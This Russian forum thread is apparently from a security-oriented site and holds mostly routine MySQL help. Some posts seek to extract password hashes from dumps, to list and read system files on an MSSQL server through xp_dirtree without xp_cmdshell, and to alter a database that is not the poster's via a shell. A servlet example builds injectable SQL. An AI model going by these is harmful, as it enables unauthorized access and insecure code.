Просмотр полной версии : [sql] Вопросы по БД
1mm0rt3s
25.08.2008, 18:30
а есть же парсер хешей из дампов sql
эм... чуть подробней можна :) где его взять ?
Basurman
25.08.2008, 18:38
1mm0rt3s
В excel открой...
Или восстанови на локалке и выборку в файл сделай
1mm0rt3s
25.08.2008, 18:49
в экселе как-то фигова открывается ,это я уже проходил.
нужна наверно скрипт накодить чтоб выдирал хеши.
Люди добрые, забыл команду для мускула, нужно дамп поднять, сделанный при помощи phpMyAdmin. Он не встаёт так просто, помню, что через мускул поднимал, а как забыл. С меня +++++
Basurman
28.08.2008, 14:35
mff майадмин не в состоянии разворачивать большие бд (в большинстве случаев)
1). Либо юзай sypex dumper lite (php скрипт) Им проще
2). либо коммандой:
mysql -u рутовый_аккаунт -p -D имя_БД < dump.sql
(не всегда помогает)
Подскажите пожалуйста,почему у меня информация из БД выводиться кусками?
http://s52.radikal.ru/i138/0809/65/0f00b7baf26bt.jpg (http://radikal.ru/F/s52.radikal.ru/i138/0809/65/0f00b7baf26b.jpg.html)
если подставляю кавычки,тогда вообще ничего не выводит
http://s44.radikal.ru/i103/0809/da/cd60792df4ect.jpg (http://radikal.ru/F/s44.radikal.ru/i103/0809/da/cd60792df4ec.jpg.html)
вот БД:
http://i049.radikal.ru/0809/ee/0db8ab2d0dc1t.jpg (http://radikal.ru/F/i049.radikal.ru/0809/ee/0db8ab2d0dc1.jpg.html)
я пробывал вместо $myrow['text'] и $myrow['2].Он тупит еще из-за тэгов...когда убираешь тэг <br> -результат другой,но все ровно некоректно... =(
Мне кажеться,что-то с кодировкой можеть
ЗЫ:Если,что-то не ясно объяснил - прошу не глумиться))
юзай {$myrow['text']} или {$myrow[2]}
это глюки с выводом массивов внутри " "
есть в форме у тебя выводишь так:
value='{$myrow['text']}'
то предварительно лучше проверить $myrow['text'] на наличие ' и заменить на чтонить или прослешить.
желательно просто добавить \ перед спец символами
юзай {$myrow['text']} или {$myrow[2]}
это глюки с выводом массивов внутри " "
есть в форме у тебя выводишь так:
value='{$myrow['text']}'
то предварительно лучше проверить $myrow['text'] на наличие ' и заменить на чтонить или прослешить.
желательно просто добавить \ перед спец символами
Все равно такая же бяка =(
на счет <textarea> лучше юзай
<textarea rows='28' cols='38'>{$myrow[2]}</textarea>
на счет <textarea> лучше юзай
<textarea rows='28' cols='38'>{$myrow[2]}</textarea>
Проблема решена,спасибо Slesh`у
ЗЫ:С меня плюсы
mff майадмин не в состоянии разворачивать большие бд (в большинстве случаев)
1). Либо юзай sypex dumper lite (php скрипт) Им проще
2). либо коммандой:
mysql -u рутовый_аккаунт -p -D имя_БД < dump.sql
(не всегда помогает)
Что то не работает! mysql -u рутовый_аккаунт -p -D имя_БД < dump.sql :confused: HELP!!! :confused:
Что то не работает!
Наиприятнейший скрипт-юзай его...все сделано просто
_http://sypex.net/products/dumper/downloads
Наиприятнейший скрипт-юзай его...все сделано просто
_http://sypex.net/products/dumper/downloads
Пробывал, на 30 % выдает ошибку :(
++Norton++
07.09.2008, 13:34
Я восстанавливаю так:
cat Amtel.sql | mysql testdb
Где Amtel.sql - это дамп базы, а testdb это только что новосозданная база.
Дамп делаю так:
mysqldump name_of_base > name_of_file.sql
Где name_of_base - имя базы, которую дампирую, а name_of_file.sql имя файла-дампа.
PS да, кстати, чтобы все время не набирать -p и пароль, создаем файл .my.cnf с таким содержанием:
[client]
password=ваш_пароль
И кладем его в /root. Теперь пасс можно не набирать, а набирать просто mysql name_db, где name_db имя базы.
Скажите запрос который может очистить значение столбца, в таблице. :confused:
Заранее спасибо. ;)
P.S. Из-за малого кол-во времени не могу прочесть тему полностью. :mad:
UPDATE `table` SET `column` = '' WHERE id = 1;
или
UPDATE `table` SET `column` = 0 WHERE id = 1;
или
UPDATE `table` SET `column` = NULL WHERE id = 1;
Очистка еси всего столбца то
UPDATE `table` SET `column` = '' WHERE id >0;
или
UPDATE `table` SET `column` = 0 WHERE id >0;
или
UPDATE `table` SET `column` = NULL WHERE id >0;
где id примари кей или индекс
Кажеться нужно сделать так:
$i=0;
do
{
$result=mysql_query("UPDATE news SET count='' WHERE id=$id",$db);
$myrow=mysql_fetch_array($result);
$i++;
}
while(mysql_fetch_array($result));
С этим будет удобнее:
mysql_num_rows($result_comment);
То есть узнаем кол-во строк,а потом ерез цикл их удалить
-----------------------------------------------------------------
Блин,не то спрашивали немного,но ладно,может кому пригодиться :(
Помогите плз с запросом
Приведу простой пример
Допустим есть таблица
user
id name age ....
1 Tom 31 ...
2 Jery 25 ...
3 Spyke 37 ...
и есть таблица (3нф)
user_addithion
id userID someID
1 1 37
2 1 38
3 3 38
Нужно получить результат:
Выборка всех юзеров с дополнительным параметром
Например, результат выборки
id name age ... value
1 Tom 31 ... 1
2 Jery 25 ... 0
3 Spyke 37 ... 1
где value, равно 1, если в таблице user_addithion, присутствует значение user.id=user_addithion.userID и someID = , ну допустим 38
Если в таблице user_addithion, нет записи с user.id=user_addithion.userID, или если есть, но в этой записи someID != 38, то value равно 0 (или пустое)
т.е. нужно к результату добавить один столбец, значение которого береться на основе данных из другой таблицы
спасибо
есть таблица с auto increment полем id
так же в ней есть поле text.
как сделать что бы ни там ни там небыло дубликатов?
PRIMARY KEY устанавливаеться только для 1 поля =\
есть таблица с auto increment полем id
так же в ней есть поле text.
как сделать что бы ни там ни там небыло дубликатов?
PRIMARY KEY устанавливаеться только для 1 поля =\
ALTER TABLE `table_name` ADD UNIQUE ( `id` )
ALTER TABLE `table_name` ADD UNIQUE ( `text` )
индексы =)
Help! Как узнать Id только что созданной записи в таблице?
(PHP 4, PHP 5, PECL mysql:1.0)
mysql_insert_id — Возвращает ID, сгенерированный при последнем INSERT-запросе.
читай доку
импорт в mySQL 24 мб базу, через phpmyadmin конечно бритва, есть ли какой более простой скрипт, программа для импорта...по частям не хочу вставлять в phpmyadmin
импорт в mySQL 24 мб базу, через phpmyadmin конечно бритва, есть ли какой более простой скрипт, программа для импорта...по частям не хочу вставлять в phpmyadminSypex Dumper Lite
http://forum.antichat.ru/showpost.php?p=685056&postcount=358
++Norton++
16.09.2008, 23:19
Naydav
Если я правильно понял, то попробуй так:
SELECT id, name, age FROM user INNER JOIN user_addithion ON user.id=user_addithion.userID AND
user_addithion.someID=38 GROUP BY id;
Выведет юзеров, у которых user.id=user_addithion.userID. Соответственно их value будет равно 1, а остальных 0.
Shaitan-Devil
17.09.2008, 20:58
Нужно осуществить поиск по БД.Т.е мы имеем опр. данные но не знаем в какой они таблиц,какой запрос нужно сформировать,или как это осуществить?
Вот пример запроса:
mysq_query("SELECT * from table WHERE MATCH (text) AGAINST ($search)",$db);
text-где искать(в каком столбце)
Вот пример запроса:
mysq_query("SELECT * from table WHERE MATCH (text) AGAINST ($search)",$db);
text-где искать(в каком столбце)
Поправлю,
mysql_query("SELECT * from table WHERE MATCH (text) AGAINST ($search)",$db);
Naydav
Если я правильно понял, то попробуй так:
SELECT id, name, age FROM user INNER JOIN user_addithion ON user.id=user_addithion.userID AND
user_addithion.someID=38 GROUP BY id;
Выведет юзеров, у которых user.id=user_addithion.userID. Соответственно их value будет равно 1, а остальных 0.
Мне нужно получить всех!!! юзеров, к каждому из которых добавляеться дополнительное поле 1 или 0(или пусто), которое береться в зависимости от наличия записи в другой таблице
Naydav, используй в качестве последнего поля конструкцию if
т.е. Select ...., IF(условие,1,0)
Примерно так (правильность не гарантирую, писал прям сюда, не проверял т.к. нет данных :) но принцип такой)
SELECT *, if(`u`.`id`=`ua`.`userid` AND `ua`.`someid`=38,1,0)
FROM `user` as `u` LEFT JOIN `user_addithion` as `ua` ON `u`.`id`=`ua`.`userid`
MySQL ERROR : 1 Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (cp1251_general_ci,COERCIBLE) for operation 'like'
ставил ставил, на mySQL 4-5 c разными кодировками, все равно не работает, хотя устаналивается нормально...
MySQL ERROR : 1 Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (cp1251_general_ci,COERCIBLE) for operation 'like'
ставил ставил, на mySQL 4-5 c разными кодировками, все равно не работает, хотя устаналивается нормально...
Дело в том, что ты пытаешся сравнить строки с разной коллацией... приводи все к одной и сравнивай (либо базу к cp1251, либо строку к латин_шведиш)
Нужно осуществить поиск по БД.Т.е мы имеем опр. данные но не знаем в какой они таблиц,какой запрос нужно сформировать,или как это осуществить?
http://en.wikipedia.org/wiki/Full_text_search
http://ru.wikipedia.org/wiki/Полнотекстовый_поиск
А оттуда уже пляши
скрипт форума smf 2.0 работает на PostgreSQL /MySQL.
Если сначала он будет работать на MySQL, то можно ли будет потом "преобразовать" данные из MySQL в PostgreSQL ?
++Norton++
23.09.2008, 12:20
Вроде можно. Скрипт называется neomy2pg. Вот здесь есть некоторая информация о нем:
_http://web.opennet.ru/opennews/art.shtml?num=6917
++Norton++
26.09.2008, 22:58
Мне кажется, можно только как-то так:
SELECT * FROM table1, table2, table3, tableN WHERE something=code
Тоесть осуществлять поиск по всем таблицам базы, задав условие, которое будет равняться этому самому коду.
mySQL база состоит из 20 таблиц. Нужно найти кусок кода - слово. Как осуществить поиск по все базе?
http://dev.mysql.com/doc/refman/5.0/en/fulltext-search.html
скрипт форума smf 2.0 работает на PostgreSQL /MySQL.
Если сначала он будет работать на MySQL, то можно ли будет потом "преобразовать" данные из MySQL в PostgreSQL ?
<?php
$source = "/home/shaggy/shaggy.sql";
$output = "/home/shaggy/pgtest.sql";
$enum = 'varchar(10)'; // convert enum to this
if ( !file_exists($source) ) {
die("File not found: $sourcen");
}
$fd = fopen($source, "r");
$result = fread($fd, filesize($source));
fclose($fd);
$result = mysql2postgre($result);
$fd = fopen($output, "w");
if (fwrite($fd, $result)) {
echo "OKn";
} else {
echo "Failedn";
}
fclose($fd);
function mysql2postgre($source) {
global $enum;
$result = $source;
$result = preg_replace('/Type=MyISAM/i', '', $result);
// convert line comments
$result = preg_replace("/#(.*)/", '--$1', $result);
// and compress newlines
$result = preg_replace("/n{2,}/", "nn", $result);
// get rid of proprietary code
$result = preg_replace("/DROP TABLE IF EXISTSW+.+/i", '', $result);
// indices
$result = preg_replace("/(.*)UNIQUE KEY.+((.+))/i",
"$1UNIQUE ($2)", $result);
// a little hack to save primary keys
$result = preg_replace("/(.*)PRIMARY KEY.+((.+))/i",
"$1PRIMARY ($2)", $result);
$result = preg_replace("/,n.*KEYW.+((.+))/i",
"n-- was KEY ($1)", $result);
$result = preg_replace("/(.*)PRIMARY.+((.+))/i",
"$1PRIMARY KEY (\2)", $result);
$result = preg_replace("/(.*?)(w+).+auto_increment/i",
'$1$2 SERIAL', $result);
// Postgre doesn't support the binary modifier
$result = preg_replace('/binary/i', '', $result);
// type transformations
$result = preg_replace('/enum(.+)/i', $enum, $result);
$result = preg_replace('/tinyint(.+)/i', 'smallint', $result);
$result = preg_replace('/smallint(.+)/i', 'smallint', $result);
$result = preg_replace('/meduimint(.+)/i', 'int', $result);
$result = preg_replace('/int(.+)/i', 'int', $result);
// Most of my default dates are '0000-00-00'
$result = preg_replace("/datetime(.*) default '.*'/i",
'datetime$1', $result);
$result = preg_replace("/date(.*) default '.*'/i",
'date$1', $result);
return $result;
}
?>
На халявных хостингах даются халявные мускул сервера. Там лимит в 10 мб и в 1-100 подключений... =(
Я как раз такой сервер и юзаю, но не с того же хостинга, а с другого (на asp net). И меня интересует: есть ли в нете просто mysql сервера без хостинга?
HawkDoom
28.09.2008, 23:54
Подскажите веб клиент MySQL, токо не phpMyAdmin
какие кто юзает?
Подскажите веб клиент MySQL, токо не phpMyAdmin
какие кто юзает?
Попробуй SQLyog Enterprise, только это не веб клиент.
Подскажите веб клиент MySQL, токо не phpMyAdmin
какие кто юзает?
ИМХО из веб самый цивилный - это пыхмайадмин. Если не веб - у них есть свой инструмент для такого дела.... MySQL GUI Tools обзывается:
http://dev.mysql.com/downloads/gui-tools/5.0.html
DarkMist
05.10.2008, 14:38
Выручайте Ачатовцы!! при переустановки mysql-server-5.0 на убунте выдает ошибку :
Удаляется пакет mysql-server-5.0... * Stopping MySQL database server mysqld
Warning: World-writable config file '/etc/mysql/my.cnf' is ignore
ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)d
удаляю ВСЁ!!! через aptitude или через apt-get, потом удаляю все катологи и файлы связаные с мускулом ....
при повторной установки сервера системе НЕ создает каталогов ни файлов а выдает туже ошибку (((
установил мускул на виртуалку скопировал файлы которые смог : и my.cnf и все что дало скопировать, а =mysqld.sock недает!!
перкопал убунтовский форум ничего толкового неговорят((
Подскажите как подчистую удалить мускул ???
...идут вторые сутки гемороя((((( :eek:
Подскажите как подчистую удалить мускул ???
...идут вторые сутки гемороя((((( :eek:
sudo apt-get purge mysql-5
DarkMist
05.10.2008, 17:16
sudo apt-get purge mysql-5
сделал потом установил : sudo apt-get install -f mysql-server-5.0
и все равно:
Распаковывается пакет mysql-server-5.0 (из файла .../mysql-server-5.0_5.0.51a-3ubuntu5.1_i386.deb)...
Настраивается пакет mysql-server-5.0 (5.0.51a-3ubuntu5.1) ...
* Stopping MySQL database server mysqld [ OK ]
/var/lib/dpkg/info/mysql-server-5.0.postinst: line 143: /etc/mysql/conf.d/old_passwords.cnf: No such file or directory
dpkg: не удалось обработать параметр mysql-server-5.0 (--configure):
подпроцесс post-installation script возвратил код ошибки 1
При обработке следующих пакетов произошли ошибки:
mysql-server-5.0
E: Sub-process /usr/bin/dpkg returned an error code (1)
нашел файл /conf.d/old_passwords.cnf скопировал в папку , выполник повторный инсталл
не установлено до конца или удалено 1 пакетов.
After this operation, 0B of additional disk space will be used.
Настраивается пакет mysql-server-5.0 (5.0.51a-3ubuntu5.1) ...
* Stopping MySQL database server mysqld [ OK ]
080622 4:44:39 [ERROR] /usr/sbin/mysqld: Can't find file: './mysql/user.frm' (errno: 13)
080622 4:44:39 [ERROR] /usr/sbin/mysqld: Can't find file: './mysql/user.frm' (errno: 13)
ERROR: 1017 Can't find file: './mysql/user.frm' (errno: 13)
080622 4:44:39 [ERROR] Aborting
080622 4:44:39 [Note] /usr/sbin/mysqld: Shutdown complete
Reloading AppArmor profiles : done.
* /etc/init.d/mysql: WARNING: /etc/mysql/my.cnf cannot be read. See README.Debian.gz
* Starting MySQL database server mysqld [fail]
invoke-rc.d: initscript mysql, action "start" failed.
dpkg: не удалось обработать параметр mysql-server-5.0 (--configure):
подпроцесс post-installation script возвратил код ошибки 1
При обработке следующих пакетов произошли ошибки:
mysql-server-5.0
E: Sub-process /usr/bin/dpkg returned an error code (1)
хотя этот mysql/user.frm на месте...
Всем, Добрый вечер!
Нужно получить результат на основе выбора из 3 таблиц
Есть таблицы:
course
id title
course_date
id courseID date
course_user
id courseID userID
Связи вполне очевидны, в course_user содержиться соответствия между курсами и пользователями, а в course_date между курсами, и датами их проведения
Так вот нужно получить, список всех дат из таблицы course_date, у которых множество courseID береться
из
SELECT id
FROM course
WHERE courseID
IN (
SELECT `courseID`
FROM cclass_user_course
WHERE `userID` = 1
)
Т.е. нужно получить даты проведения курсов( из одной таблицы), список этих курсов берем на основе выборки (из таблицы course_user), + к выбранным курсам беруться еще ихни title(из таблицы course)
Вообщем, что-то типа
SELECT date
FROM course_date
WHERE courseID
IN (
SELECT id
FROM course
WHERE courseID
IN (
SELECT courseID
FROM user_course
WHERE `userID` =1
)
)
Только к результату еще нужно добавить title курса, ну и желательно наверной join, а не подвыборки
ну что-то типа этого
select d.date, c.title
from course_date d
left join course c on d.courseID = c.id
left join course_user u on c.id = u.courseID
where userID = 1;
ну что-то типа этого
select d.date, c.title
from course_date d
left join course c on d.courseID = c.id
left join course_user u on c.id = u.courseID
where userID = 1
Вот так работает
SELECT d.date, c.title
FROM cclass_course_date AS d
LEFT JOIN cclass_course AS c ON d.courseID = c.id
LEFT JOIN cclass_user_course AS u ON c.id = u.courseID
WHERE u.userID =1
AND u.type =1
AND d.date > NOW()
GROUP c.title
Спасибо
Но так мы получаем последнюю дату(для курса) в списке, а как можно получить первую(т.е. ближайшую)?
Может можно "усовершенствовать" запрос?
.::BARS::.
01.11.2008, 08:09
Привет, перенес базу с локала на серв, база сравнения и т.п. совпадают..
Вопрос: почему выводит ??? ведь все совпадает, в базе все написано нормально, на выводе х-ня. Что это за кодировка N‹N‹N‹N‹N‹N‹ - это по русски ыыыыы
++Norton++
02.11.2008, 14:40
Можно попробовать поменять кодировку базы с помощью:
charset имя_кодировки
Или, если из базы выводятся данные в HTML страницу, то можно поменять кодировку на странице отображения.
Привет, всем! Нужно составить запрос: увеличить значение одного поля на +1, и найти все записи с полученным значением поля и уменьшить его на -1, помогите пожалуйста, в подзапросах не силен, с меня плюсы
++Norton++
06.11.2008, 03:24
Немного не понятно.
1) Нужно составить запрос, который увеличивает только одно какое-то поле на 1. Здесь все понятно, если так, то можно попробовать следующим образом:
UPDATE table SET id=id+1;
где table - таблица в которой находится это значение, name='admin' - некоторое условие, по которому выбирается нужная строка.
2) Найти все записи с полученным значением поля и уменьшить его на -1:
UPDATE table SET id=id-1 WHERE id=znach;
Здесь table - это таблица с заданным значением, id - имя столбца содержащего это значение, znach - полученное значение поля.
Если правильно понял вопрос, то вроде все так.
.:EnoT:.
06.11.2008, 03:40
UPDATE table SET id+1;
UPDATE table SET id = id+1 ....
:)
насчёт второй части вопроса тоже не понял...какая связь между этими запросами? И вторая часть должна проходить в той же таблице или в другой.
Или это вообще два разных запроса? короче ничё не понятно =\
Привет, всем! Нужно составить запрос: увеличить значение одного поля на +1, и найти все записи с полученным значением поля и уменьшить его на -1, помогите пожалуйста, в подзапросах не силен, с меня плюсы
Попонятнее опиши,а то не понятна суть вопроса
++Norton++
06.11.2008, 11:45
.:EnoT:.
Спасибо за поправку! (на счет id=id+1. Голова уже не варила)) Исправил :)
всем спасибо,ссори, затупил
FIXERMAN
11.11.2008, 15:55
Привет
Имеется коннект к MSSQL 2000 права юЗверя хранимые процедуры выключены (например xp_cmdshell) но ...
Таким запросом список системные файлов можно посмотреть
$link = mssql_connect("192.168.0.1", "user", "passwords") or die("Could not connect to MsSQL server!");
mssql_select_db("master",$link) or die("Could not select company database!");
$query = "exec xp_dirtree 'c:\',0,1"; так с файлами
\\$query = "exec xp_dirtree 'c:\',1"; так только папки
$result = mssql_query($query,$link);
echo '<table cellpadding="2" cellspacing="1" width="100%">';
echo "<tr><td>DIRECTORY</td></tr>";
while($line=mssql_fetch_assoc($result)){
echo
"<tr><td>$line[subdirectory]</td></tr>";
}
echo "</table>";
print "Total rows selected: ".mssql_num_rows($result);
mssql_close($link);
-------------------------------------------------------------------------
но суть проблемы в том что надо прочитать системные файлы например autoexec.bat (редакт не объязателен можно даже только read only)
ВОПРОС: как можно прочитать файлы если xp_cmdshell выключен или как импортировать в БД бинарный файл ? или как нить можно другими процедурами выполнить такое или создать хранимую процеду ? ...
Хочу скачать таблицу, но не могу.
Выводится ошибка
#1017 : " Can't find file: 'ibf_profile_portal_views' (errno: 2) "
Как это исправить? "Не может найти файл ***"..сама таблица есть, но данных нет.
Форум работает без изменений.
Нашел решение. Удалить и создать заново таблицу.
"CREATE TABLE ibf_profile_portal_views (views_member_id int(10) NOT NULL default '0');"
Будет ли функционировать форум. Он не мой. а эксперементировать ой как не хочется..
Ershik, сделай дамп, и скачай дамп...
Pashkela
12.11.2008, 14:47
Или просто тупо пропарсить нужную таблицу в базе через сокеты и рез-ты записать в файл. При нормальном соединении - вопрос ~ 1-2 минут если ~ 100 записей в таблице
Дамп не делается по причине ошибки.
Как понять пропарсить через сокеты?С помощью PHP выдернуть из сервера Mysql нужную таблицу? Так прав нет..
Pashkela
12.11.2008, 21:28
чото невогнал вообще - ты смотреть хоть как-то, хоть каким-то образом (посредством sql-inj) можешь хоть что-то в интересующей тебя таблице? Если нет - то нет.
Я смотрел через phpmyadmin и mysql скрипт. Пишет одну и ту же ошибку.
Скули нет. Есть подобие шелла.
Смотреть? Конечно могу, но испорченна только эта таблица, из-за которой невозможно скачать дамп.
Если только перезаписать.
Это, впринципе не проблема, но я не знаю, какие там данные хранятся.
Есть ли способ отремонтировать таблицу?
Есть ли способ отремонтировать таблицу?
REPAIR TABLE:
http://dev.mysql.com/doc/refman/5.0/en/repair.html
http://dev.mysql.com/doc/refman/5.0/en/repair-table.html
таблица, из-за которой невозможно скачать дамп.
чето я ваще ниче не понимаю...
если у тя доступ к PHPMyAdmin есть, как правильно сказал [Raz0r], сделай запрос repair table имя_таблицы;
потом сделай дамп... или, на худой конец, скрипт пхпшный напиши, который результаты select * from bla bla bla будет тебе в файл писАть, и файл скачай...
только сильно не пинайте, я в этом новичок.
при заходе на локалхост выдает ошибки:
Warning: mysql_select_db(): supplied argument is not a valid MySQL-Link
Warning: mysql_query(): supplied argument is not a valid MySQL-Link
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result
сам пхп код
<?php
$DB = mysql_connect ("localhost","d1mka","123456");
mysql_select_db ("my_base",$db);
$result=mysql_query ("SELECT * FROM test1",$db);
$num=mysql_num_rows($result);
echo $num;
?>
база my_base и таблица test1 созданы, пользователь с правами рут.
на локальной машине установлен Денвер-4.
конект у тя идет или нет=)
$DB = mysql_connect ("localhost","d1mka","123456");
если не подключиться то $DB будет false. так что действуй=) проверь еще у тя сервачёк то мускульный запущен или нет.
для наглядности можешь сделать так:
$DB = mysql_connect ("localhost","d1mka","123456") or die( mysql_error());
$DB = mysql_connect ("localhost","d1mka","123456") or die( mysql_error());
дописал теже самые ошибки
хз когда денвер запускается он в окошке пишет "Запускуаем MySQL"
так... в диспечере видно mysqld.exe*32
но по идее у тебя должно было сразу сдохнуть и написать причину и не было бы "теже самые ошибки" там точняк ниче про логин пароль те не написало?
Pashkela
14.11.2008, 02:19
<?php
$servername=''; // Your MySql Server Name or IP address here
$dbusername=''; // Login user id here
$dbpassword=''; // Login password here
$dbname=''; // Your database name here
function connecttodb($servername,$dbname,$dbuser,$dbpasswor d)
{
global $link;
$link=mysql_connect ('$servername','$dbuser','$dbpassword');
if(!$link){die('Could not connect to MySQL');}
mysql_select_db('$dbname',$link) or die ('could not open db'.mysql_error());
}
connecttodb($servername,$dbname,$dbusername,$dbpas sword);
$query= 'SELECT * FROM `test1`';
$result=mysql_query($query);
$num = mysql_num_rows($result);
echo $num;
?>
но правильней делать так:
1. Создаешь файл config.php, пишешь туда:
<?php
$servername=''; // Your MySql Server Name or IP address here
$dbusername=''; // Login user id here
$dbpassword=''; // Login password here
$dbname=''; // Your database name here
function connecttodb($servername,$dbname,$dbuser,$dbpasswor d)
{
global $link;
$link=mysql_connect ('$servername','$dbuser','$dbpassword');
if(!$link){die('Could not connect to MySQL');}
mysql_select_db('$dbname',$link) or die ('could not open db'.mysql_error());
}
connecttodb($servername,$dbname,$dbusername,$dbpas sword);
?>
2. Создаешь файл для вывода информации:
<?php
require_once ('config.php'); // или - include ('config.php');
$query= 'SELECT * FROM `test1`';
$result=mysql_query($query);
$num = mysql_num_rows($result);
echo $num;
?>
3. Создаешь .htaccess, пишешь туда:
Options -Indexes
<Files "config.php">
Order allow,deny
Deny from all
</Files>
спасибо, помог первый вариант
ты там специально пробелы поставил?) я блин пол ночи из-за них тупил)
Pashkela
14.11.2008, 13:23
спасибо, помог первый вариант
ты там специально пробелы поставил?) я блин пол ночи из-за них тупил)
)) Нет, это тут типо защита такая или хз в общем. Не специально
D1mka, их ставит сам форум
N19hTW0lF
17.11.2008, 21:32
Как поменять Кодировку уже таблицы
как сделать поиск по бд
vikseriq
17.11.2008, 21:43
Кодировка:ALTER TABLE таблица CONVERT TO CHARACTER SET charset_name;
Поиск:SELECT * FROM таблица WHERE условие
Как поменять Кодировку уже таблицы
как сделать поиск по бд
1 Поменять кодировку уже существующей таблицы можно с помощью SQL-запросов, отправляемых из приложения, или с помощью phpMyAdmin.
Вот пример получающего данные от клиента в кодировке CP1251 и сохраняющего их в таблицу с кодировкой UTF-8:
import java.io.*;
import java.sql.*;
import java.util.Properties;
import javax.servlet.*;
import javax.servlet.http.*;
/*
Для работы этого примера требуется предварительно создать таблицу с помощью следующего SQL-запроса:
CREATE TABLE test (id INT AUTO_INCREMENT PRIMARY KEY, value VARCHAR(255)) CHARACTER SET utf8
*/
public class DBServlet extends HttpServlet {
protected void service(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
//указываем кодировку для HTML-страницы, отправляемой клиенту
response.setContentType("text/html; charset=windows-1251");
//указываем кодировку для данных полученых от клиента
request.setCharacterEncoding("CP1251");
PrintWriter out = response.getWriter();
out.println("<html>");
out.println("<head><title>DBServlet</title></head>");
out.println("<body>");
out.println("<form method=\"post\" action=\"dbservlet\">");
out.println("<input type=\"text\" name=\"t1\">");
out.println("<input type=\"submit\">");
out.println("</form>");
out.println("<hr>");
try{
Connection connection=getDBConnection();
Statement statement=connection.createStatement();
if(request.getMethod().equals("POST")){
String t1=(request.getParameter("t1")!=null)?request.getParameter("t1").trim():"";
if(t1.length()>0){
statement.executeUpdate("INSERT INTO test ( value ) VALUES ('"+t1+"')");
}
}
ResultSet result=statement.executeQuery("SELECT id, value FROM test ORDER BY id DESC");
out.println("<table border=\"1\">");
out.println("<tr><th>id</th><th>value</th></tr>");
while(result.next()){
out.println("<tr>");
out.println("<td>"+result.getString("id")+"</td>");
out.println("<td>"+result.getString("value")+"</td>");
out.println("</tr>");
}
out.println("</table>");
connection.close();
}catch(Exception e){
log(e.toString());
}
out.println("</body>");
out.println("</html>");
}
/*
Не самый лучший метод для получения соединения с базой данных.
Для повышения производительности при работе с базами данных использовать
пулы соединений.
*/
protected Connection getDBConnection()throws Exception{
Class.forName("com.mysql.jdbc.Driver");
Properties properties=new Properties();
properties.setProperty("user","логин");
properties.setProperty("password","пароль");
/*
настройки указывающие о необходимости конвертировать данные из Unicode в UTF-8,
который используется в таблице для хранения данных
*/
properties.setProperty("useUnicode","true");
properties.setProperty("characterEncoding","UTF-8");
return(DriverManager.getConnection("jdbc:mysql://localhost:3306/имяБазы", properties));
}
}
truelamer
18.11.2008, 10:33
помогите как лучше оптимизировать код чтоб часто бд не опрашивать, или как перепроектировать бд чтоб снизить нагрузку на сервак
ситуация такова что: _http://darin-sk.kz/mysql.jpg
для каждого пользователя выборка происходит на основании его прав доступа к информации по областям и видов деятельности и их подвидов
странная запись какаято, у тебя прям так все в базе записано? если да , то попробуй каждую область доступа сделать в отдельном поле, и как у тебя сейчас выглядит код запроса в базу, выложи тут
изменить структуру таблиц, например, так. Вынести права доступа юзеров в отдельную таблицу
user_rights
id - уникальное поле
uid - id пользователя (связь по полю users.uid)
pid - id перечня (связь по полю perechen.pid)
vid - id из таблиц actions, classies, obl (если pid = 1, то это значение поля actions.aid, если pid = 2, то classies.cid, если pid = 3, то obl.oblid)
perechen (скорее, это чисто информационная таблица, практического использования может не иметь)
pid - id перечня (actions = 1, classies = 2, obl = 3)
pname - название
тогда таблица юзерс будет такой
users
uid - id пользователя
ulogin - логин пользователя
(возможно, еще какие-то поля)
Пример
users
id ulogin
1 Bond
================
user_rights
id uid pid vid
1 1 1 13
2 1 1 15
3 1 1 17
4 1 1 234
5 1 1 45
6 1 1 456
7 1 1 65
8 1 2 1
9 1 2 23
10 1 2 12
11 1 2 21
12 1 3 1
13 1 3 10
14 1 3 4
15 1 3 3
Расставить индексы.
ЗЫ. С тендерами что-то я не понял. Пример такого запроса можно?
ЗЗЫ. Таблицы actions, classies, obl останутся без изменений
У тебя
access - obl
actions_access - actions
classies_access - classies
по сути не связаны.
Первый и оч большой минус - не поддерживается целостность средствами базы, и ее очень легко перевести в рассогласованное состояние :)
Второй - что бы понять куда он имеет доступ, надо получить значение, проанализировать... опять послать запрос... ужас просто=)
Предлагаю сделать след. образом (на промереобласти - с остальными думаю разберешся сам)
Создаем таблицу us_obl , вида
id_user|id_obl
где id_user ссылается на uid из таблички users, а id_obl - соответственно на oblod из таблицы obl. Первичный ключ здесь составной, из полей id_user, id_obl... в эту таблицу можно еще добавить какие нить вспомогательные данные, если нужны.
И соответственно после этих манипуляций мы удаляем поле access из таблицы users.
Так же следует поступить и с двумя оставшимися полями.
Так же можно привязать каскадное удаление\обновление и тп, но б этом я судить не очень могу, так как не вникал в твою предметную область, и тебе лучше видно нужно ли здесь это :)
Главный итог сих дйствий - увеличили надежностьбазы, и упростили обработку данных.
N19hTW0lF
19.11.2008, 19:23
как сделать поиск по бд не как where.../
я хочу чтобы проверялось если такое слово или нет.если есть то показать
по бд а не таблица
как сделать поиск по бд не как where.../
я хочу чтобы проверялось если такое слово или нет.если есть то показать
по бд а не таблица
http://en.wikipedia.org/wiki/Full_text_search
Отсюда начинай плясать :)
N19hTW0lF
19.11.2008, 20:54
спс за ссылку.но ща энто читать и вырубатся времини нету.поймите меня плз.
Zyklonss
19.11.2008, 23:40
Здравствуйте, всем!
На сайте сделал блог на Вордпрессе. Глюканул блог, скачал свежую версию WP 262, заново установил( при установке сделал префикс ss_). Теперь есть 2 вопроса:
1. Хочу перенести данные со старой базы в новую. В админке присутствуют старая база( с префиксом wp_) и новая база(с префиксом ss_). Как правильно мне это сделать?
2. После таких проблем решил далее не рисковать и регулярно делать резервное копирование данных базы, что бы в случае чего сделать бэкап. Мои действия:
2.1. Сделал резервную копию базы. А именно: выбрал название базы- экспорт-SQL(поставил галочку на "Добавить CREATE PROCEDURE / FUNCTION")- сохранил данные в блокноте.
2.2. Пытался восстановить данные. А именно: выбрал название базы- вкладка SQL- вставил данные сохранённого файла в поле- ок. Выдаёт ошибку. В чём проблема?
Спасибо большое всем , кто поможет!
2.2. конкретнее, че за ошибка?
по базе: в бекапе возьми команды с инсертами, замени значения INSERT INTO ws_ на '... ss_' , и выполни в SQL
Zyklonss
19.11.2008, 23:50
имхо префикс.
